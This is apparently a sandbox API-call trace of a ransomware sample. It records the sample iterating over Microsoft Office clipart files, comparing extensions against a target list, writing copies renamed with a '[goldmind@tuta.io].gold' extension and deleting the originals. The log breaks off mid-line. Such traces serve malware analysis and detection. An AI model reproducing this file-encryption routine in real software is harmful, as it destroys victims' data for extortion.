[0101.605] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.605] lstrlenW (lpString=".bz2") returned 4 [0101.605] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.605] lstrlenW (lpString=".7z") returned 3 [0101.605] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0101.605] lstrlenW (lpString=".dbf") returned 4 [0101.605] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0101.605] lstrlenW (lpString=".1cd") returned 4 [0101.605] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0101.605] lstrlenW (lpString=".jpg") returned 4 [0101.605] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.605] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.605] lstrlenW (lpString="J0099158.WMF") returned 12 [0101.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0101.606] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=26160) returned 1 [0101.606] CloseHandle (hObject=0x3ac) returned 1 [0101.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf")) returned 0x20 [0101.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0101.606] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0101.606] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0101.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0101.607] GetLastError () returned 0x0 [0101.607] ReadFile (in: hFile=0x3ac, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x6630, lpOverlapped=0x0) returned 1 [0101.618] WriteFile (in: hFile=0x3a8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x6640, lpOverlapped=0x0) returned 1 [0101.619] ReadFile (in: hFile=0x3ac, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0101.619] WriteFile (in: hFile=0x3a8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.619] SetEndOfFile (hFile=0x3a8) returned 1 [0101.619] CloseHandle (hObject=0x3a8) returned 1 [0101.619] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0101.619] SetEndOfFile (hFile=0x3ac) returned 1 [0101.621] CloseHandle (hObject=0x3ac) returned 1 [0101.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf")) returned 1 [0101.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0101.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0101.622] lstrlenW (lpString=".doc") returned 4 [0101.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.622] lstrlenW (lpString=".docx") returned 5 [0101.622] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0101.622] lstrlenW (lpString=".pdf") returned 4 [0101.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.622] lstrlenW (lpString=".xls") returned 4 [0101.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.622] lstrlenW (lpString=".xlsx") returned 5 [0101.622] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0101.622] lstrlenW (lpString=".ppt") returned 4 [0101.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0101.622] lstrlenW (lpString=".zip") returned 4 [0101.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.622] lstrlenW (lpString=".rar") returned 4 [0101.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.622] lstrlenW (lpString=".bz2") returned 4 [0101.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.622] lstrlenW (lpString=".7z") returned 3 [0101.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0101.622] lstrlenW (lpString=".dbf") returned 4 [0101.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0101.622] lstrlenW (lpString=".1cd") returned 4 [0101.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0101.622] lstrlenW (lpString=".jpg") returned 4 [0101.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0101.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0101.622] lstrlenW (lpString=".doc") returned 4 [0101.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.622] lstrlenW (lpString=".docx") returned 5 [0101.622] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0101.622] lstrlenW (lpString=".pdf") returned 4 [0101.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.622] lstrlenW (lpString=".xls") returned 4 [0101.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.623] lstrlenW (lpString=".xlsx") returned 5 [0101.623] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0101.623] lstrlenW (lpString=".ppt") returned 4 [0101.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0101.623] lstrlenW (lpString=".zip") returned 4 [0101.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.623] lstrlenW (lpString=".rar") returned 4 [0101.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.623] lstrlenW (lpString=".bz2") returned 4 [0101.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.623] lstrlenW (lpString=".7z") returned 3 [0101.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0101.623] lstrlenW (lpString=".dbf") returned 4 [0101.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0101.623] lstrlenW (lpString=".1cd") returned 4 [0101.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF") returned 63 [0101.623] lstrlenW (lpString=".jpg") returned 4 [0101.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.623] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0101.623] lstrlenW (lpString="J0099160.JPG") returned 12 [0101.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0101.871] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=15145) returned 1 [0101.871] CloseHandle (hObject=0x3c8) returned 1 [0101.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg")) returned 0x20 [0101.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0101.953] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0101.953] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0101.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0101.953] GetLastError () returned 0x0 [0101.954] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x3b29, lpOverlapped=0x0) returned 1 [0102.006] WriteFile (in: hFile=0x3bc, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x3b30, lpOverlapped=0x0) returned 1 [0102.007] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0102.007] WriteFile (in: hFile=0x3bc, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.008] SetEndOfFile (hFile=0x3bc) returned 1 [0102.008] CloseHandle (hObject=0x3bc) returned 1 [0102.008] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.008] SetEndOfFile (hFile=0x3b4) returned 1 [0102.010] CloseHandle (hObject=0x3b4) returned 1 [0102.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg")) returned 1 [0102.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0102.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0102.012] lstrlenW (lpString=".doc") returned 4 [0102.012] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0102.012] lstrlenW (lpString=".docx") returned 5 [0102.012] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0102.012] lstrlenW (lpString=".pdf") returned 4 [0102.012] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0102.012] lstrlenW (lpString=".xls") returned 4 [0102.012] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0102.012] lstrlenW (lpString=".xlsx") returned 5 [0102.012] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0102.012] lstrlenW (lpString=".ppt") returned 4 [0102.012] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0102.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0102.012] lstrlenW (lpString=".zip") returned 4 [0102.012] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0102.012] lstrlenW (lpString=".rar") returned 4 [0102.012] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0102.012] lstrlenW (lpString=".bz2") returned 4 [0102.012] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0102.012] lstrlenW (lpString=".7z") returned 3 [0102.012] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0102.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0102.013] lstrlenW (lpString=".dbf") returned 4 [0102.013] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0102.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0102.013] lstrlenW (lpString=".1cd") returned 4 [0102.013] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0102.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0102.013] lstrlenW (lpString=".jpg") returned 4 [0102.013] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0102.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0102.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0102.013] lstrlenW (lpString=".doc") returned 4 [0102.013] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0102.013] lstrlenW (lpString=".docx") returned 5 [0102.013] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0102.013] lstrlenW (lpString=".pdf") returned 4 [0102.013] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0102.013] lstrlenW (lpString=".xls") returned 4 [0102.013] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0102.013] lstrlenW (lpString=".xlsx") returned 5 [0102.013] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0102.013] lstrlenW (lpString=".ppt") returned 4 [0102.013] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0102.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0102.013] lstrlenW (lpString=".zip") returned 4 [0102.013] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0102.013] lstrlenW (lpString=".rar") returned 4 [0102.013] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0102.013] lstrlenW (lpString=".bz2") returned 4 [0102.013] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0102.013] lstrlenW (lpString=".7z") returned 3 [0102.013] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0102.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0102.013] lstrlenW (lpString=".dbf") returned 4 [0102.013] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0102.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0102.013] lstrlenW (lpString=".1cd") returned 4 [0102.013] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0102.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG") returned 63 [0102.013] lstrlenW (lpString=".jpg") returned 4 [0102.013] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0102.014] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0102.014] lstrlenW (lpString="J0099173.WMF") returned 12 [0102.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0102.025] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=37140) returned 1 [0102.025] CloseHandle (hObject=0x3b8) returned 1 [0102.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf")) returned 0x20 [0102.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0102.058] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.058] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0102.059] GetLastError () returned 0x0 [0102.059] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x9114, lpOverlapped=0x0) returned 1 [0102.061] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x9120, lpOverlapped=0x0) returned 1 [0102.062] ReadFile (in: hFile=0x364, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0102.062] WriteFile (in: hFile=0x3ac, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.062] SetEndOfFile (hFile=0x3ac) returned 1 [0102.062] CloseHandle (hObject=0x3ac) returned 1 [0102.062] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0102.062] SetEndOfFile (hFile=0x364) returned 1 [0102.064] CloseHandle (hObject=0x364) returned 1 [0102.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf")) returned 1 [0102.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0102.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0102.065] lstrlenW (lpString=".doc") returned 4 [0102.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.065] lstrlenW (lpString=".docx") returned 5 [0102.065] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0102.065] lstrlenW (lpString=".pdf") returned 4 [0102.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.065] lstrlenW (lpString=".xls") returned 4 [0102.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.065] lstrlenW (lpString=".xlsx") returned 5 [0102.065] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0102.065] lstrlenW (lpString=".ppt") returned 4 [0102.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0102.065] lstrlenW (lpString=".zip") returned 4 [0102.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.065] lstrlenW (lpString=".rar") returned 4 [0102.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.065] lstrlenW (lpString=".bz2") returned 4 [0102.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.065] lstrlenW (lpString=".7z") returned 3 [0102.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0102.066] lstrlenW (lpString=".dbf") returned 4 [0102.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0102.066] lstrlenW (lpString=".1cd") returned 4 [0102.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0102.066] lstrlenW (lpString=".jpg") returned 4 [0102.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0102.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0102.066] lstrlenW (lpString=".doc") returned 4 [0102.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.066] lstrlenW (lpString=".docx") returned 5 [0102.066] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0102.066] lstrlenW (lpString=".pdf") returned 4 [0102.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.066] lstrlenW (lpString=".xls") returned 4 [0102.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.066] lstrlenW (lpString=".xlsx") returned 5 [0102.066] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0102.066] lstrlenW (lpString=".ppt") returned 4 [0102.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0102.066] lstrlenW (lpString=".zip") returned 4 [0102.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.066] lstrlenW (lpString=".rar") returned 4 [0102.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.066] lstrlenW (lpString=".bz2") returned 4 [0102.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.066] lstrlenW (lpString=".7z") returned 3 [0102.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0102.066] lstrlenW (lpString=".dbf") returned 4 [0102.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0102.066] lstrlenW (lpString=".1cd") returned 4 [0102.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.066] lstrlenW (lpString="C:\\Program Files\\Microsoft 